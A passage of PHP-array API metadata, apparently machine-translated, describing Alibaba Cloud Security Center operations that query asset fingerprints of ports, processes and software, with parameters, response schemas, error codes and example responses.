'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The listening port of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '22', ], ], [ 'name' => 'ProcName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sshd', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'BindIp', 'in' => 'query', 'schema' => [ 'description' => 'The IP address bound to the port.'."\n", 'type' => 'string', 'required' => false, 'example' => '0.0.XX.XX', ], ], [ 'name' => 'Extend', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether fuzzy search by port number is supported. If you want to use fuzzy search, set the parameter to **1**. If you set the parameter to a different value or leave the parameter empty, fuzzy search is not supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use the NextToken method to retrieve a new page of results. If you set UseNextToken to true, the value of TotalCount is not returned. Valid values:'."\n" ."\n" .'- **true**: The NextToken method is used.'."\n" .'- **false**: The NextToken method is not used.', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used. You do not need to specify this parameter for the first request.', 'type' => 'string', 'required' => false, 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0FA7F1F4-488D-52CA-9BFC-3E47793B49D1', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NextToken' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Propertys' => [ 'description' => 'The fingerprints of the ports.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Pid' => [ 'description' => 'The ID of the server process that listens on the port.'."\n", 'type' => 'string', 'example' => '522', ], 'BindIp' => [ 'description' => 'The IP address bound to the port.'."\n", 'type' => 'string', 'example' => '0.0.X.X', ], 'Ip' => [ 'description' => 'The IP address of the network interface controller (NIC) that is bound to the listening port.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'ProcName' => [ 'description' => 'The name of the server process.'."\n", 'type' => 'string', 'example' => 'sshd', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'Port' => [ 'description' => 'The listener port.'."\n", 'type' => 'string', 'example' => '22', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '100.104.XX.XX', ], 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'InstanceName' => [ 'description' => 'The instance name of the server.'."\n", 'type' => 'string', 'example' => 'hc-host-****', ], 'Proto' => [ 'description' => 'The network protocol that is used by the listening port.'."\n", 'type' => 'string', 'example' => 'tcp', ], 'CreateTimestamp' => [ 'description' => 'The timestamp of the last fingerprint collection. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1649149566000', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0FA7F1F4-488D-52CA-9BFC-3E47793B49D1\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Pid\\": \\"522\\",\\n \\"BindIp\\": \\"0.0.X.X\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"ProcName\\": \\"sshd\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Port\\": \\"22\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Proto\\": \\"tcp\\",\\n \\"CreateTimestamp\\": 1649149566000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0FA7F1F4-488D-52CA-9BFC-3E47793B49D1\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 522\\n 0.0.XX.XX\\n 192.168.XX.XX\\n sshd\\n i-hp35tftuh52wbp1g****\\n 22\\n 100.104.XX.XX\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n hc-host-****\\n tcp\\n 1649149566000\\n \\n","errorExample":""}]', 'title' => 'Query Asset Fingerprint Information of Port Assets', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribePropertyProcDetail' => [ 'summary' => 'Query Details of Asset Fingerprint Collection Process', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => '8888', ], ], [ 'name' => 'User', 'in' => 'query', 'schema' => [ 'description' => 'The user who runs the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'root', ], ], [ 'name' => 'Cmdline', 'in' => 'query', 'schema' => [ 'description' => 'The startup parameter of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => './8888', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'ProcTimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the process starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1648809853000', ], ], [ 'name' => 'ProcTimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the process ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1649587453000', ], ], [ 'name' => 'Extend', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether fuzzy search by process name is supported. If you want to use fuzzy search, set the parameter to 1. If you set the parameter to a different value or leave the parameter empty, fuzzy search is not supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to query the account ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use the NextToken method to retrieve a new page of results. If you set UseNextToken to true, the value of TotalCount is not returned. Valid values:'."\n" ."\n" .'- **true**: The NextToken method is used.'."\n" .'- **false**: The NextToken method is not used.', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used. You do not need to specify this parameter for the first request.', 'type' => 'string', 'required' => false, 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'AA47D46F-10DE-138C-BBB4-8A0003F75CD7', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NextToken' => [ 'description' => 'The value of NextToken that is returned when the NextToken method is used.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Propertys' => [ 'description' => 'An array that consists of the fingerprints of the processes.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Pid' => [ 'description' => 'The ID of the process.'."\n", 'type' => 'string', 'example' => '12826', ], 'User' => [ 'description' => 'The user who runs the process.'."\n", 'type' => 'string', 'example' => 'root', ], 'InstanceId' => [ 'description' => 'The ID of the server that is associated with the process.'."\n", 'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'Cmdline' => [ 'description' => 'The startup parameter of the process.'."\n", 'type' => 'string', 'example' => './8888', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'EuidName' => [ 'description' => 'The permission that is required to run the process.'."\n", 'type' => 'string', 'example' => 'root', ], 'Uuid' => [ 'description' => 'The UUID of the server that is associated with the process.'."\n", 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'StartTime' => [ 'description' => 'The time when the process starts.'."\n", 'type' => 'string', 'example' => '2019-08-07 10:09:05', ], 'Pname' => [ 'description' => 'The name of the parent process to which the process belongs.'."\n", 'type' => 'string', 'example' => 'start***.s', ], 'InstanceName' => [ 'description' => 'The name of the server that is associated with the process.'."\n", 'type' => 'string', 'example' => 'hc-host-****', ], 'Path' => [ 'description' => 'The path of the process.'."\n", 'type' => 'string', 'example' => '/root/Oracle/Middleware/***/8888', ], 'Md5' => [ 'description' => 'The MD5 hash value of the process file.'."\n", 'type' => 'string', 'example' => '842644ea3d88bd7f7e14c1c089ef****', ], 'Name' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'example' => 'agetty', ], 'CreateTimestamp' => [ 'description' => 'The timestamp of last data collection. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1565686951000', ], 'StartTimeDt' => [ 'description' => 'The timestamp when the process starts. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1648783107000', ], 'IsPackage' => [ 'description' => 'Indicates whether the process is a package installation process. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'State' => [ 'description' => 'The status of the process.'."\n", 'type' => 'string', 'example' => 'sleeping', ], 'FileHash' => [ 'description' => 'Process file hash information.', 'type' => 'string', 'example' => '935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d4****', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"AA47D46F-10DE-138C-BBB4-8A0003F75CD7\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Pid\\": \\"12826\\",\\n \\"User\\": \\"root\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Cmdline\\": \\"./8888\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"EuidName\\": \\"root\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"StartTime\\": \\"2019-08-07 10:09:05\\",\\n \\"Pname\\": \\"start***.s\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Path\\": \\"/root/Oracle/Middleware/***/8888\\",\\n \\"Md5\\": \\"842644ea3d88bd7f7e14c1c089ef****\\",\\n \\"Name\\": \\"agetty\\",\\n \\"CreateTimestamp\\": 1565686951000,\\n \\"StartTimeDt\\": 1648783107000,\\n \\"IsPackage\\": 1,\\n \\"State\\": \\"sleeping\\",\\n \\"FileHash\\": \\"935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d4****\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n AA47D46F-10DE-138C-BBB4-8A0003F75CD7\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 12826\\n root\\n i-hp35tftuh52wbp1g****\\n ./8888\\n 1.2.3.2\\n root\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n 2019-08-07 10:09:05\\n start***.s\\n hc-host-****\\n /root/Oracle/Middleware/***/8888\\n 842644ea3d88bd7f7e14c1c089ef****\\n agetty\\n 1565686951000\\n 1648783107000\\n 1\\n sleeping\\n \\n","errorExample":""}]', 'title' => 'Query Asset Fingerprint of Process Assets', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribePropertyPortItem' => [ 'summary' => 'Queries information about all ports.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port number.'."\n", 'type' => 'string', 'required' => false, 'example' => '22', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '5', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '163', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of the ports returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Port' => [ 'description' => 'The number of the listening port.'."\n", 'type' => 'string', 'example' => '22', ], 'Count' => [ 'description' => 'The number of servers that use the port.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '495', ], 'Proto' => [ 'description' => 'The network protocol of the port.'."\n", 'type' => 'string', 'example' => 'tcp', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'DescribePropertyPortItem', 'errorMessage' => 'get property port detail error', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 163,\\n \\"Count\\": 5\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Port\\": \\"22\\",\\n \\"Count\\": 495,\\n \\"Proto\\": \\"tcp\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\r\\n\\r\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n \\r\\n\\t\\t\\t22\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t495\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t111\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t43\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t6000\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t2\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t53\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t1\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t80\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t38\\r\\n\\t \\r\\n \\r\\n\\t\\t\\t5\\r\\n\\t\\t\\t5\\r\\n\\t\\t\\t163\\r\\n\\t\\t\\t1\\r\\n\\t \\r\\n","errorExample":""}]', 'title' => 'DescribePropertyPortItem', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribePropertyProcItem' => [ 'summary' => 'Queries information about all processes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'BD8AD4C6-A169-4FA3-BA1F-ED40ED52973B', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '372', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of the processes returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the process.'."\n", 'type' => 'string', 'example' => '.ss', ], 'Count' => [ 'description' => 'The number of servers on which the process runs.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8888', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"BD8AD4C6-A169-4FA3-BA1F-ED40ED52973B\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 372,\\n \\"Count\\": 5\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Name\\": \\".ss\\",\\n \\"Count\\": 8888\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n\\n\\n (sd-**)\\n 7\\n\\n\\n 6Cm***\\n 1\\n\\nBD8AD4C6-A169-4FA3-BA1F-ED40ED52973B\\n\\n 2\\n 395\\n 2\\n 1\\n\\n","errorExample":""}]', 'title' => 'DescribePropertyProcItem', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribePropertySoftwareDetail' => [ 'summary' => 'Query details of asset fingerprint software collection', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the server to be queried.', 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the software to be queried.', 'type' => 'string', 'required' => false, 'example' => 'kernel', ], ], [ 'name' => 'Path', 'in' => 'query', 'schema' => [ 'description' => 'The installation path of the software.', 'type' => 'string', 'required' => false, 'example' => '/etc/test', ], ], [ 'name' => 'SoftwareVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version information of the software.', 'type' => 'string', 'required' => false, 'example' => '3.10.0', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.', 'type' => 'string', 'required' => false, 'example' => '50d213b4-3a35-427a-b8a5-****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Set which page of the returned results to start displaying the query results. The default value is **1**, indicating that the display starts from the first page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'Set the number of software asset fingerprint information items displayed per page during pagination. The default value is **10**, indicating that 10 items of software asset fingerprint information are displayed per page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'InstallTimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the software update started. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1649321495000', ], ], [ 'name' => 'InstallTimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The timestamp when the software update ended. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1650012695000', ], ], [ 'name' => 'Extend', 'in' => 'query', 'schema' => [ 'description' => 'Whether the software name supports fuzzy search. To enable fuzzy search, set the value of this parameter to 1; other values or an empty value indicate that fuzzy search is not supported.', 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Whether to use the NextToken method to pull asset list data. If this parameter is used, TotalCount will no longer be returned. Values:'."\n" ."\n" .'- **true**: Use the NextToken method.'."\n" .'- **false**: Do not use the NextToken method.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'Used to mark the starting position for reading. Leave it blank to start from the beginning.'."\n" ."\n" .'> For the first call, you do not need to fill this in; the response will include the NextToken for the second call, and each subsequent call\'s response will contain the NextToken for the next call.', 'type' => 'string', 'required' => false, 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the current request, generated by Alibaba Cloud as a unique identifier for the request, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '6AEE7412-0065-1135-B790-AE2C38BA68FB', ], 'PageInfo' => [ 'description' => 'Information displayed on the query result page.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page during pagination.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of software asset fingerprint information displayed per page when performing a paginated query. The default value is **10**, indicating that 10 pieces of software asset fingerprint information are displayed per page.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of fingerprint information for the queried software assets.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of fingerprint information of software assets displayed on the current page.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NextToken' => [ 'description' => 'The NextToken value returned using the NextToken method.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Propertys' => [ 'description' => 'Details list of the queried software asset\'s fingerprint information.', 'type' => 'array', 'items' => [ 'description' => 'Details list of the fingerprint information of the queried software assets.', 'type' => 'object', 'properties' => [ 'InternetIp' => [ 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Ip' => [ 'description' => 'List of server IPs', 'type' => 'string', 'example' => '192.168.XX.XX', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.', 